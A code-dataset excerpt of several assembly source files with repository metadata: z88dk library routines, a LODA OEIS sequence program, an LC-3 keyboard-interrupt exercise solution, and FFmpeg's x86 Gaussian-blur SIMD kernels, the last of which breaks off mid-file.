2022-03-30T11:28:42.000Z
libsrc/video/tms9918/graphics/getmaxx.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/video/tms9918/graphics/getmaxx.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
MODULE __tms9918_getmaxx SECTION code_clib PUBLIC __tms9918_getmaxx EXTERN __tms9918_screen_mode INCLUDE "graphics/grafix.inc" INCLUDE "video/tms9918/vdp.inc" IF VDP_EXPORT_GFX_DIRECT = 1 PUBLIC getmaxx PUBLIC _getmaxx defc getmaxx = __tms9918_getmaxx defc _getmaxx = getmaxx ENDIF .__tms9918_getmaxx ld a,(__tms9918_screen_mode) and a ld hl, +63 ret z ld hl, +79 dec a ret z ld hl,255 ret
17.259259
43
0.686695
f0ee7a0d3767cd774885d53f28a61341a14ddffd
335
asm
Assembly
programs/oeis/216/A216607.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/216/A216607.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/216/A216607.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A216607: The sequence used to represent partition binary diagram as an array. ; 0,0,1,0,1,0,2,1,0,2,1,0,3,2,1,0,3,2,1,0,4,3,2,1,0,4,3,2,1,0,5,4,3,2,1,0,5,4,3,2,1,0,6,5,4,3,2,1,0,6,5,4,3,2,1,0,7,6,5,4,3,2,1,0,7,6,5,4,3,2,1,0,8,7,6,5,4,3,2,1,0,8,7,6,5,4,3 lpb $0 add $1,$2 sub $0,$1 cmp $2,0 sub $0,$2 lpe sub $1,$0 mov $0,$1
27.916667
175
0.561194
80e484129412bf3d45bff239685fcdef44243c2b
329
asm
Assembly
libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_push_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_push_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_push_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; int wa_stack_push(wa_stack_t *s, void *item) SECTION code_clib SECTION code_adt_wa_stack PUBLIC wa_stack_push_callee EXTERN w_array_append_callee defc wa_stack_push_callee = w_array_append_callee ; SDCC bridge for Classic IF __CLASSIC PUBLIC _wa_stack_push_callee defc _wa_stack_push_callee = wa_stack_push_callee ENDIF
17.315789
49
0.854103
feb3dd404e3c0c3cd3f1a09f915f575f9818f5b6
3,660
asm
Assembly
src/test/tests/samples/solutions/interrupt2.asm
jeroendebaat/lc3tools
b1ceb8bc28a82227ccbd17c90f6b6cfcdf324d41
[ "Apache-2.0" ]
58
2018-07-13T03:41:38.000Z
2022-03-08T19:06:20.000Z
src/test/tests/samples/solutions/interrupt2.asm
jeroendebaat/lc3tools
b1ceb8bc28a82227ccbd17c90f6b6cfcdf324d41
[ "Apache-2.0" ]
26
2019-12-02T05:33:00.000Z
2022-03-12T15:54:26.000Z
src/test/tests/samples/solutions/interrupt2.asm
jeroendebaat/lc3tools
b1ceb8bc28a82227ccbd17c90f6b6cfcdf324d41
[ "Apache-2.0" ]
24
2019-08-30T15:00:13.000Z
2022-01-26T05:11:36.000Z
; ; Copyright 2020 McGraw-Hill Education. All rights reserved. No reproduction or distribution without the prior written consent of McGraw-Hill Education. ; ; Unfortunately we have not YET installed Windows or Linux on the LC-3, ; so we are going to have to write some operating system code to enable ; keyboard interrupts. The OS code does three things: ; ; (1) Initializes the interrupt vector table with the starting ; address of the interrupt service routine. The keyboard ; interrupt vector is x80 and the interrupt vector table begins ; at memory location x0100. The keyboard interrupt service routine ; begins at x1000. Therefore, we must initialize memory location ; x0180 with the value x1000. ; (2) Sets bit 14 of the KBSR to enable interrupts. ; (3) Pushes a PSR and PC to the system stack so that it can jump ; to the user program at x3000 using an RTI instruction. .ORIG x800 ; (1) Initialize interrupt vector table. LD R0, VEC LD R1, ISR STR R1, R0, #0 ; (2) Set bit 14 of KBSR. LDI R0, KBSR LD R1, MASK NOT R1, R1 AND R0, R0, R1 NOT R1, R1 ADD R0, R0, R1 STI R0, KBSR ; (3) Set up system stack to enter user space. LD R0, PSR ADD R6, R6, #-1 STR R0, R6, #0 LD R0, PC ADD R6, R6, #-1 STR R0, R6, #0 ; Enter user space. RTI VEC .FILL x0180 ISR .FILL x1000 KBSR .FILL xFE00 MASK .FILL x4000 PSR .FILL x8002 PC .FILL x3000 .END .ORIG x3000 ; *** Begin user program code here *** AND R2, R2, #0 SETUP ADD R2, R2, xD LEA R1, PLINE L1 LDR R0, R1, #0 PUTS ADD R1, R1, #1 ADD R2, R2, #-1 BRz SETUP BR L1 PLINE .FILL LINE0 .FILL LINE1 .FILL LINE2 .FILL LINE3 .FILL LINE4 .FILL LINE5 .FILL LINE6 .FILL LINE7 .FILL LINE8 .FILL LINE9 .FILL LINEA .FILL LINEB .FILL LINEC LINE0 .STRINGZ "====================\n" LINE1 .STRINGZ "* * *******\n" LINE2 .STRINGZ "* * *\n" LINE3 .STRINGZ "* * *\n" LINE4 .STRINGZ "* * *\n" LINE5 .STRINGZ " **** *\n" LINE6 .STRINGZ "\n" LINE7 .STRINGZ "**** **** ****\n" LINE8 .STRINGZ "* * *\n" LINE9 .STRINGZ "**** * ****\n" LINEA .STRINGZ "* * *\n" LINEB .STRINGZ "**** **** ****\n" LINEC .STRINGZ "====================\n" ; *** End user program code here *** .END .ORIG x1000 ; *** Begin interrupt service routine code here *** STR R0, R6, #-1 STR R1, R6, #-2 STR R2, R6, #-3 STR R3, R6, #-4 STR R4, R6, #-5 STR R5, R6, #-6 STR R7, R6, #-7 ADD R6, R6, #-7 LDI R0, KBDR LD R1, LO ADD R1, R0, R1 BRn SKIP LD R1, HI ADD R1, R0, R1 BRp SKIP LD R1, LO ADD R1, R0, R1 L2 BRz L2EXIT OUT ADD R1, R1, #-1 BR L2 L2EXIT LD R0, NEWLINE OUT BR EXIT SKIP OUT LEA R0, SKIPMSG PUTS EXIT ADD R6, R6, #7 LDR R7, R6, #-7 LDR R5, R6, #-6 LDR R4, R6, #-5 LDR R3, R6, #-4 LDR R2, R6, #-3 LDR R1, R6, #-2 LDR R0, R6, #-1 RTI KBDR .FILL xFE02 LO .FILL x-30 HI .FILL x-39 SKIPMSG .STRINGZ " is not a decimal digit.\n" NEWLINE .FILL xA ; *** End interrupt service routine code here *** .END
25.594406
152
0.505738
16e802e002d38515530db2cef3d9e2a1d4c7119a
24,844
asm
Assembly
ffmpeg/libavfilter/x86/vf_gblur.asm
GustavoGalo/discord-bot-1
031cd3397697e9273198712db18b662a31d63d15
[ "MIT" ]
null
null
null
ffmpeg/libavfilter/x86/vf_gblur.asm
GustavoGalo/discord-bot-1
031cd3397697e9273198712db18b662a31d63d15
[ "MIT" ]
null
null
null
ffmpeg/libavfilter/x86/vf_gblur.asm
GustavoGalo/discord-bot-1
031cd3397697e9273198712db18b662a31d63d15
[ "MIT" ]
null
null
null
;***************************************************************************** ;* x86-optimized functions for gblur filter ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION .data gblur_transpose_16x16_indices1: dq 2, 3, 0, 1, 6, 7, 4, 5 gblur_transpose_16x16_indices2: dq 1, 0, 3, 2, 5, 4, 7, 6 gblur_transpose_16x16_indices3: dd 1, 0, 3, 2, 5, 4, 7, 6, 9, 8, 11, 10, 13, 12, 15, 14 gblur_transpose_16x16_mask: dw 0xcc, 0x33, 0xaa, 0x55, 0xaaaa, 0x5555 gblur_vindex_width: dd 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 SECTION .text %xdefine AVX2_MMSIZE 32 %xdefine AVX512_MMSIZE 64 %macro MOVSXDIFNIDN 1-* %rep %0 movsxdifnidn %1q, %1d %rotate 1 %endrep %endmacro %macro KXNOR 2-* %if mmsize == AVX512_MMSIZE kxnorw %2, %2, %2 %else %if %0 == 3 mov %3, -1 %else vpcmpeqd %1, %1, %1 %endif %endif %endmacro %macro KMOVW 2-4 %if mmsize == AVX2_MMSIZE && %0 == 4 mova %1, %2 %elif mmsize == AVX512_MMSIZE %if %0 == 4 %rotate 2 %endif kmovw %1, %2 %endif %endmacro %macro PUSH_MASK 5 %if mmsize == AVX2_MMSIZE %assign %%n mmsize/4 %assign %%i 0 %rep %%n mov %4, %3 and %4, 1 neg %4 mov dword [%5 + %%i*4], %4 sar %3, 1 %assign %%i %%i+1 %endrep movu %1, [%5] %else kmovd %2, %3 %endif %endmacro %macro VMASKMOVPS 4 %if mmsize == AVX2_MMSIZE vpmaskmovd %1, %3, %2 %else kmovw k7, %4 vmovups %1{k7}, %2 %endif %endmacro %macro VGATHERDPS 4 %if mmsize == AVX2_MMSIZE vgatherdps %1, %2, %3 %else vgatherdps %1{%4}, %2 %endif %endmacro %macro VSCATTERDPS128 7 %rep 4 mov %7, %6 and %7, 1 cmp %7, 0 je %%end_scatter movss [%2 + %3*%4], xm%1 vpshufd m%1, m%1, 0x39 add %3, %5 sar %6, 1 %endrep %%end_scatter: %endmacro ; %1=register index ; %2=base address %3=vindex ; %4=scale %5=width ; %6=mask %7=tmp ; m15=reserved %macro VSCATTERDPS256 7 mova m15, m%1 xor %3, %3 VSCATTERDPS128 15, %2, %3, %4, %5, %6, %7 vextractf128 xm15, m%1, 1 VSCATTERDPS128 15, %2, %3, %4, %5, %6, %7 %endmacro ; %1=base address %2=avx2 vindex ; %3=avx512 vindex %4=avx2 mask ; %5=avx512 mask %6=register index ; %7=width %8-*=tmp %macro VSCATTERDPS 8-* %if mmsize == AVX2_MMSIZE %if %0 == 9 mov %9, %4 VSCATTERDPS256 %6, %1, %2, 4, %7, %9, %8 %else VSCATTERDPS256 %6, %1, %2, 4, %7, %4, %8 %endif %else vscatterdps [%1 + %3*4]{%5}, m%6 %endif %endmacro %macro INIT_WORD_MASK 1-* %assign %%i 0 %rep %0 kmovw %1, [gblur_transpose_16x16_mask + %%i * 2] %assign %%i %%i+1 %rotate 1 %endrep %endmacro %macro INIT_INDICES 1-* %assign %%i 1 %rep %0 movu %1, [gblur_transpose_16x16_indices %+ %%i] %assign %%i %%i+1 %rotate 1 %endrep %endmacro %assign stack_offset 0 %macro PUSH_MM 1 %if mmsize == AVX2_MMSIZE movu [rsp + stack_offset], %1 %assign stack_offset stack_offset+mmsize %endif %endmacro %macro POP_MM 1 %if mmsize == AVX2_MMSIZE %assign stack_offset stack_offset-mmsize movu %1, [rsp + stack_offset] %endif %endmacro %macro READ_LOCAL_BUFFER 1 %if mmsize == AVX512_MMSIZE %assign %%i 19 %else %assign %%i 9 %endif %assign %%j %%i-1 %assign %%k %1-1 %xdefine %%m m %+ %%i mova %%m, m3 FMULADD_PS %%m, %%m, m0, [localbufq + %%k * mmsize], %%m %assign %%k %%k-1 %rep %1-1 %xdefine %%m m %+ %%j mova %%m, m %+ %%i FMULADD_PS %%m, %%m, m0, [localbufq + %%k * mmsize], %%m %assign %%i %%i-1 %assign %%j %%j-1 %assign %%k %%k-1 %endrep %if mmsize == AVX512_MMSIZE mova m3, m %+ %%i %endif %endmacro %macro FMADD_WRITE 4 FMULADD_PS %1, %1, %2, %3, %1 mova %4, %1 %endmacro %macro WRITE_LOCAL_BUFFER_INTERNAL 8-16 %assign %%i 0 %rep %0 FMADD_WRITE m3, m0, m %+ %1, [localbufq + %%i * mmsize] %assign %%i %%i+1 %rotate 1 %endrep %endmacro %macro GATHERPS 1 %if mmsize == AVX512_MMSIZE %assign %%i 4 %else %assign %%i 2 %endif movu m %+ %%i, [ptrq] mov strideq, widthq %assign %%i %%i+1 %rep %1-2 movu m %+ %%i, [ptrq + strideq*4] add strideq, widthq %assign %%i %%i+1 %endrep movu m %+ %%i, [ptrq + strideq*4] %endmacro %macro SCATTERPS_INTERNAL 8-16 movu [ptrq + strideq*0], m %+ %1 mov strideq, widthq %rotate 1 %rep %0-2 movu [ptrq + strideq*4], m %+ %1 add strideq, widthq %rotate 1 %endrep movu [ptrq + strideq*4], m %+ %1 %endmacro %macro BATCH_INSERT64X4 4-* %assign %%imm8 %1 %rotate 1 %rep (%0-1)/3 vinserti64x4 m%1, m%2, ym%3, %%imm8 %rotate 3 %endrep %endmacro %macro BATCH_EXTRACT_INSERT 2-* %assign %%imm8 %1 %rotate 1 %rep (%0-1)/2 vextractf64x4 ym%1, m%1, %%imm8 vextractf64x4 ym%2, m%2, %%imm8 vinserti64x4 m%1, m%1, ym%2, %%imm8 %rotate 2 %endrep %endmacro %macro BATCH_MOVE 2-* %rep %0/2 mova m%1, m%2 %rotate 2 %endrep %endmacro %macro BATCH_PERMUTE 3-* %xdefine %%decorator %1 %xdefine %%mask %2 %assign %%index %3 %rotate 3 %rep (%0-3)/2 vperm %+ %%decorator m%1{%%mask}, m %+ %%index, m%2 %rotate 2 %endrep %endmacro ; input : m3-m19 ; output: m8 m5 m9 m15 m16 m7 m17 m27 m24 m21 m25 m19 m12 m23 m13 m11 %macro TRANSPOSE_16X16_AVX512 0 BATCH_INSERT64X4 0x1, 20,4,12, 21,5,13, 22,6,14, 23,7,15 BATCH_INSERT64X4 0x1, 24,8,16, 25,9,17, 26,10,18, 27,11,19 BATCH_EXTRACT_INSERT 0x1, 4,12, 5,13, 6,14, 7,15 BATCH_EXTRACT_INSERT 0x1, 8,16, 9,17, 10,18, 11,19 BATCH_MOVE 12,20, 13,21, 14,22, 15,23 BATCH_PERMUTE q, k6, 28, 12,24, 13,25, 14,26, 15,27 BATCH_PERMUTE q, k5, 28, 24,20, 25,21, 26,22, 27,23 BATCH_MOVE 16,4, 17,5, 18,6, 19,7 BATCH_PERMUTE q, k6, 28, 16,8, 17,9, 18,10, 19,11 BATCH_PERMUTE q, k5, 28, 8,4, 9,5, 10,6, 11,7 BATCH_MOVE 4,12, 5,13, 6,24, 7,25 BATCH_MOVE 20,16, 21,17, 22,8, 23,9 BATCH_PERMUTE q, k4, 29, 4,14, 5,15, 6,26, 7,27 BATCH_PERMUTE q, k3, 29, 14,12, 15,13, 26,24, 27,25 BATCH_PERMUTE q, k4, 29, 20,18, 21,19, 22,10, 23,11 BATCH_PERMUTE q, k3, 29, 18,16, 19,17, 10,8, 11,9 BATCH_MOVE 8,4, 9,14, 16,6, 17,26 BATCH_MOVE 24,20, 25,18, 12,22, 13,10 BATCH_PERMUTE d, k2, 30, 8,5, 9,15, 16,7, 17,27 BATCH_PERMUTE d, k1, 30, 5,4, 15,14, 7,6, 27,26 BATCH_PERMUTE d, k2, 30, 24,21, 25,19, 12,23, 13,11 BATCH_PERMUTE d, k1, 30, 21,20, 19,18, 23,22, 11,10 %endmacro %macro INSERT_UNPACK 8 vinsertf128 m%5, m%1, xm%3, 0x1 vinsertf128 m%6, m%2, xm%4, 0x1 vunpcklpd m%7, m%5, m%6 vunpckhpd m%8, m%5, m%6 %endmacro %macro SHUFFLE 4 vshufps m%3, m%1, m%2, 0x88 vshufps m%4, m%1, m%2, 0xDD mova m%1, m%3 mova m%2, m%4 %endmacro %macro EXTRACT_INSERT_UNPACK 6 vextractf128 xm%1, m%1, 0x1 vextractf128 xm%2, m%2, 0x1 vinsertf128 m%3, m%3, xm%1, 0x0 vinsertf128 m%4, m%4, xm%2, 0x0 vunpcklpd m%5, m%3, m%4 vunpckhpd m%6, m%3, m%4 %endmacro ; Transpose 8x8 AVX2 ; Limit the number ym# register to 16 for compatibility ; Used up registers instead of using stack memory ; Input: m2-m9 ; Output: m12, m14, m13, m15, m8, m10, m9, m11 %macro TRANSPOSE_8X8_AVX2 0 INSERT_UNPACK 2, 3, 6, 7, 10, 11, 12, 13 INSERT_UNPACK 4, 5, 8, 9, 10, 11, 14, 15 SHUFFLE 12, 14, 10, 11 SHUFFLE 13, 15, 10, 11 EXTRACT_INSERT_UNPACK 4, 5, 8, 9, 10, 11 EXTRACT_INSERT_UNPACK 2, 3, 6, 7, 8, 9 SHUFFLE 8, 10, 6, 7 SHUFFLE 9, 11, 6, 7 %endmacro %macro TRANSPOSE 0 %if cpuflag(avx512) TRANSPOSE_16X16_AVX512 %elif cpuflag(avx2) TRANSPOSE_8X8_AVX2 %endif %endmacro %macro WRITE_LOCAL_BUFFER 0 %if cpuflag(avx512) WRITE_LOCAL_BUFFER_INTERNAL 8, 5, 9, 15, 16, 7, 17, 27, \ 24, 21, 25, 19, 12, 23, 13, 11 %elif cpuflag(avx2) WRITE_LOCAL_BUFFER_INTERNAL 12, 14, 13, 15, 8, 10, 9, 11 %endif %endmacro %macro SCATTERPS 0 %if cpuflag(avx512) SCATTERPS_INTERNAL 8, 5, 9, 15, 16, 7, 17, 27, \ 24, 21, 25, 19, 12, 23, 13, 11 %elif cpuflag(avx2) SCATTERPS_INTERNAL 12, 14, 13, 15, 8, 10, 9, 11 %endif %endmacro %macro OPTIMIZED_LOOP_STEP 0 lea stepd, [stepsd - 1] cmp stepd, 0 jle %%bscale_scalar %%loop_step: sub localbufq, mmsize mulps m3, m1 movu [localbufq], m3 ; Filter leftwards lea xq, [widthq - 1] %%loop_step_x_back: sub localbufq, mmsize FMULADD_PS m3, m3, m0, [localbufq], m3 movu [localbufq], m3 dec xq cmp xq, 0 jg %%loop_step_x_back ; Filter rightwards mulps m3, m1 movu [localbufq], m3 add localbufq, mmsize lea xq, [widthq - 1] %%loop_step_x: FMULADD_PS m3, m3, m0, [localbufq], m3 movu [localbufq], m3 add localbufq, mmsize dec xq cmp xq, 0 jg %%loop_step_x dec stepd cmp stepd, 0 jg %%loop_step %%bscale_scalar: %endmacro ;*************************************************************************** ; void ff_horiz_slice(float *ptr, int width, int height, int steps, ; float nu, float bscale) ;*************************************************************************** %macro HORIZ_SLICE 0 %if UNIX64 %if cpuflag(avx512) || cpuflag(avx2) cglobal horiz_slice, 5, 12, mmnum, 0-mmsize*4, buffer, width, height, steps, \ localbuf, x, y, step, stride, remain, ptr, mask %else cglobal horiz_slice, 4, 9, 9, ptr, width, height, steps, x, y, step, stride, remain %endif %else %if cpuflag(avx512) || cpuflag(avx2) cglobal horiz_slice, 5, 12, mmnum, 0-mmsize*4, buffer, width, height, steps, nu, bscale, \ localbuf, x, y, step, stride, remain, ptr, mask %else cglobal horiz_slice, 4, 9, 9, ptr, width, height, steps, nu, bscale, x, y, step, stride, remain %endif %endif %if cpuflag(avx512) || cpuflag(avx2) %assign rows mmsize/4 %assign cols mmsize/4 %if WIN64 VBROADCASTSS m0, num ; nu VBROADCASTSS m1, bscalem ; bscale mov nuq, localbufm DEFINE_ARGS buffer, width, height, steps, \ localbuf, x, y, step, stride, remain, ptr, mask %else VBROADCASTSS m0, xmm0 ; nu VBROADCASTSS m1, xmm1 ; bscale %endif MOVSXDIFNIDN width, height, steps %if cpuflag(avx512) vpbroadcastd m2, widthd INIT_WORD_MASK k6, k5, k4, k3, k2, k1 INIT_INDICES m28, m29, m30 %else movd xm2, widthd VBROADCASTSS m2, xm2 %endif vpmulld m2, m2, [gblur_vindex_width] ; vindex width xor yq, yq ; y = 0 xor xq, xq ; x = 0 cmp heightq, rows jl .y_scalar sub heightq, rows .loop_y: ; ptr = buffer + y * width; mov ptrq, yq imul ptrq, widthq lea ptrq, [bufferq + ptrq*4] KXNOR m5, k7 VGATHERDPS m3, [ptrq + m2*4], m5, k7 mulps m3, m1 movu [localbufq], m3 add ptrq, 4 add localbufq, mmsize ; Filter rightwards PUSH_MM m2 lea xq, [widthq - 1] .loop_x: PUSH_MM m3 GATHERPS cols TRANSPOSE POP_MM m3 WRITE_LOCAL_BUFFER add ptrq, mmsize add localbufq, rows * mmsize sub xq, cols cmp xq, cols jge .loop_x POP_MM m2 cmp xq, 0 jle .bscale_scalar .loop_x_scalar: KXNOR m5, k7 VGATHERDPS m4, [ptrq + m2*4], m5, k7 FMULADD_PS m3, m3, m0, m4, m3 movu [localbufq], m3 add ptrq, 0x4 add localbufq, mmsize dec xq cmp xq, 0 jg .loop_x_scalar .bscale_scalar: OPTIMIZED_LOOP_STEP sub ptrq, 4 sub localbufq, mmsize mulps m3, m1 KXNOR m5, k7, maskq VSCATTERDPS ptrq, strideq, m2, maskq, k7, 3, widthq, remainq ; Filter leftwards PUSH_MM m2 lea xq, [widthq - 1] .loop_x_back: sub localbufq, rows * mmsize READ_LOCAL_BUFFER cols PUSH_MM m2 TRANSPOSE POP_MM m3 sub ptrq, mmsize SCATTERPS sub xq, cols cmp xq, cols jge .loop_x_back POP_MM m2 cmp xq, 0 jle .end_loop_x .loop_x_back_scalar: sub ptrq, 0x4 sub localbufq, mmsize FMULADD_PS m3, m3, m0, [localbufq], m3 KXNOR m5, k7, maskq VSCATTERDPS ptrq, strideq, m2, maskq, k7, 3, widthq, remainq dec xq cmp xq, 0 jg .loop_x_back_scalar .end_loop_x: add yq, rows cmp yq, heightq jle .loop_y add heightq, rows cmp yq, heightq jge .end_scalar mov remainq, widthq imul remainq, mmsize add ptrq, remainq .y_scalar: mov remainq, heightq sub remainq, yq mov maskq, 1 shlx maskq, maskq, remainq sub maskq, 1 mov remainq, maskq PUSH_MASK m5, k1, remaind, xd, rsp + 0x20 mov ptrq, yq imul ptrq, widthq lea ptrq, [bufferq + ptrq * 4] ; ptrq = buffer + y * width KMOVW m6, m5, k7, k1 VGATHERDPS m3, [ptrq + m2 * 4], m6, k7 mulps m3, m1 ; p0 *= bscale movu [localbufq], m3 add localbufq, mmsize ; Filter rightwards lea xq, [widthq - 1] .y_scalar_loop_x: add ptrq, 4 KMOVW m6, m5, k7, k1 VGATHERDPS m4, [ptrq + m2 * 4], m6, k7 FMULADD_PS m3, m3, m0, m4, m3 movu [localbufq], m3 add localbufq, mmsize dec xq cmp xq, 0 jg .y_scalar_loop_x OPTIMIZED_LOOP_STEP sub localbufq, mmsize mulps m3, m1 ; p0 *= bscale KMOVW k7, k1 VSCATTERDPS ptrq, strideq, m2, maskq, k7, 3, widthq, remainq, heightq ; Filter leftwards lea xq, [widthq - 1] .y_scalar_loop_x_back: sub ptrq, 4 sub localbufq, mmsize FMULADD_PS m3, m3, m0, [localbufq], m3 KMOVW k7, k1 VSCATTERDPS ptrq, strideq, m2, maskq, k7, 3, widthq, remainq, heightq dec xq cmp xq, 0 jg .y_scalar_loop_x_back .end_scalar: RET %else %if WIN64 movss m0, num movss m1, bscalem DEFINE_ARGS ptr, width, height, steps, x, y, step, stride, remain %endif movsxdifnidn widthq, widthd mulss m2, m0, m0 ; nu ^ 2 mulss m3, m2, m0 ; nu ^ 3 mulss m4, m3, m0 ; nu ^ 4 xor xq, xq xor yd, yd mov strideq, widthq ; stride = width * 4 shl strideq, 2 ; w = w - ((w - 1) & 3) mov remainq, widthq sub remainq, 1 and remainq, 3 sub widthq, remainq shufps m0, m0, 0 shufps m2, m2, 0 shufps m3, m3, 0 shufps m4, m4, 0 .loop_y: xor stepd, stepd .loop_step: ; p0 *= bscale mulss m5, m1, [ptrq + xq * 4] movss [ptrq + xq * 4], m5 inc xq ; filter rightwards ; Here we are vectorizing the c version by 4 ; for (x = 1; x < width; x++) ; ptr[x] += nu * ptr[x - 1]; ; let p0 stands for ptr[x-1], the data from last loop ; and [p1,p2,p3,p4] be the vector data for this loop. ; Unrolling the loop, we get: ; p1' = p1 + p0*nu ; p2' = p2 + p1*nu + p0*nu^2 ; p3' = p3 + p2*nu + p1*nu^2 + p0*nu^3 ; p4' = p4 + p3*nu + p2*nu^2 + p1*nu^3 + p0*nu^4 ; so we can do it in simd: ; [p1',p2',p3',p4'] = [p1,p2,p3,p4] + [p0,p1,p2,p3]*nu + ; [0,p0,p1,p2]*nu^2 + [0,0,p0,p1]*nu^3 + ; [0,0,0,p0]*nu^4 .loop_x: movu m6, [ptrq + xq * 4] ; s = [p1,p2,p3,p4] pslldq m7, m6, 4 ; [0, p1,p2,p3] movss m7, m5 ; [p0,p1,p2,p3] FMULADD_PS m6, m7, m0, m6, m8 ; s += [p0,p1,p2,p3] * nu pslldq m7, 4 ; [0,p0,p1,p2] FMULADD_PS m6, m7, m2, m6, m8 ; s += [0,p0,p1,p2] * nu^2 pslldq m7, 4 FMULADD_PS m6, m7, m3, m6, m8 ; s += [0,0,p0,p1] * nu^3 pslldq m7, 4 FMULADD_PS m6, m7, m4, m6, m8 ; s += [0,0,0,p0] * nu^4 movu [ptrq + xq * 4], m6 shufps m5, m6, m6, q3333 add xq, 4 cmp xq, widthq jl .loop_x add widthq, remainq cmp xq, widthq jge .end_scalar .loop_scalar: ; ptr[x] += nu * ptr[x-1] movss m5, [ptrq + 4*xq - 4] mulss m5, m0 addss m5, [ptrq + 4*xq] movss [ptrq + 4*xq], m5 inc xq cmp xq, widthq jl .loop_scalar .end_scalar: ; ptr[width - 1] *= bscale dec xq mulss m5, m1, [ptrq + 4*xq] movss [ptrq + 4*xq], m5 shufps m5, m5, 0 ; filter leftwards ; for (; x > 0; x--) ; ptr[x - 1] += nu * ptr[x]; ; The idea here is basically the same as filter rightwards. ; But we need to take care as the data layout is different. ; Let p0 stands for the ptr[x], which is the data from last loop. ; The way we do it in simd as below: ; [p-4', p-3', p-2', p-1'] = [p-4, p-3, p-2, p-1] ; + [p-3, p-2, p-1, p0] * nu ; + [p-2, p-1, p0, 0] * nu^2 ; + [p-1, p0, 0, 0] * nu^3 ; + [p0, 0, 0, 0] * nu^4 .loop_x_back: sub xq, 4 movu m6, [ptrq + xq * 4] ; s = [p-4, p-3, p-2, p-1] psrldq m7, m6, 4 ; [p-3, p-2, p-1, 0 ] blendps m7, m5, 0x8 ; [p-3, p-2, p-1, p0 ] FMULADD_PS m6, m7, m0, m6, m8 ; s+= [p-3, p-2, p-1, p0 ] * nu psrldq m7, 4 ; FMULADD_PS m6, m7, m2, m6, m8 ; s+= [p-2, p-1, p0, 0] * nu^2 psrldq m7, 4 FMULADD_PS m6, m7, m3, m6, m8 ; s+= [p-1, p0, 0, 0] * nu^3 psrldq m7, 4 FMULADD_PS m6, m7, m4, m6, m8 ; s+= [p0, 0, 0, 0] * nu^4 movu [ptrq + xq * 4], m6 shufps m5, m6, m6, 0 ; m5 = [p-4', p-4', p-4', p-4'] cmp xq, remainq jg .loop_x_back cmp xq, 0 jle .end_scalar_back .loop_scalar_back: ; ptr[x-1] += nu * ptr[x] movss m5, [ptrq + 4*xq] mulss m5, m0 addss m5, [ptrq + 4*xq - 4] movss [ptrq + 4*xq - 4], m5 dec xq cmp xq, 0 jg .loop_scalar_back .end_scalar_back: ; reset aligned width for next line sub widthq, remainq inc stepd cmp stepd, stepsd jl .loop_step add ptrq, strideq inc yd cmp yd, heightd jl .loop_y RET %endif %endmacro %if ARCH_X86_64 INIT_XMM sse4 HORIZ_SLICE %if HAVE_AVX2_EXTERNAL INIT_YMM avx2 %xdefine mmnum 16 HORIZ_SLICE %endif %if HAVE_AVX512_EXTERNAL INIT_ZMM avx512 %xdefine mmnum 32 HORIZ_SLICE %endif %endif %macro POSTSCALE_SLICE 0 cglobal postscale_slice, 2, 2, 4, ptr, length, postscale, min, max shl lengthd, 2 add ptrq, lengthq neg lengthq %if ARCH_X86_32 VBROADCASTSS m0, postscalem VBROADCASTSS m1, minm VBROADCASTSS m2, maxm %elif WIN64 VBROADCASTSS m0, xmm2 VBROADCASTSS m1, xmm3 VBROADCASTSS m2, maxm %else ; UNIX VBROADCASTSS m0, xmm0 VBROADCASTSS m1, xmm1 VBROADCASTSS m2, xmm2 %endif .loop: %if cpuflag(avx2) || cpuflag(avx512) mulps m3, m0, [ptrq + lengthq] %else movu m3, [ptrq + lengthq] mulps m3, m0 %endif maxps m3, m1 minps m3, m2 movu [ptrq+lengthq], m3 add lengthq, mmsize jl .loop RET %endmacro INIT_XMM sse POSTSCALE_SLICE %if HAVE_AVX2_EXTERNAL INIT_YMM avx2 POSTSCALE_SLICE %endif %if HAVE_AVX512_EXTERNAL INIT_ZMM avx512 POSTSCALE_SLICE %endif ;******************************************************************************* ; void ff_verti_slice(float *buffer, int width, int height, int column_begin, ; int column_end, int steps, float nu, float bscale); ;******************************************************************************* %macro VERTI_SLICE 0 %if UNIX64 cglobal verti_slice, 6, 12, 9, 0-mmsize*2, buffer, width, height, cbegin, cend, \ steps, 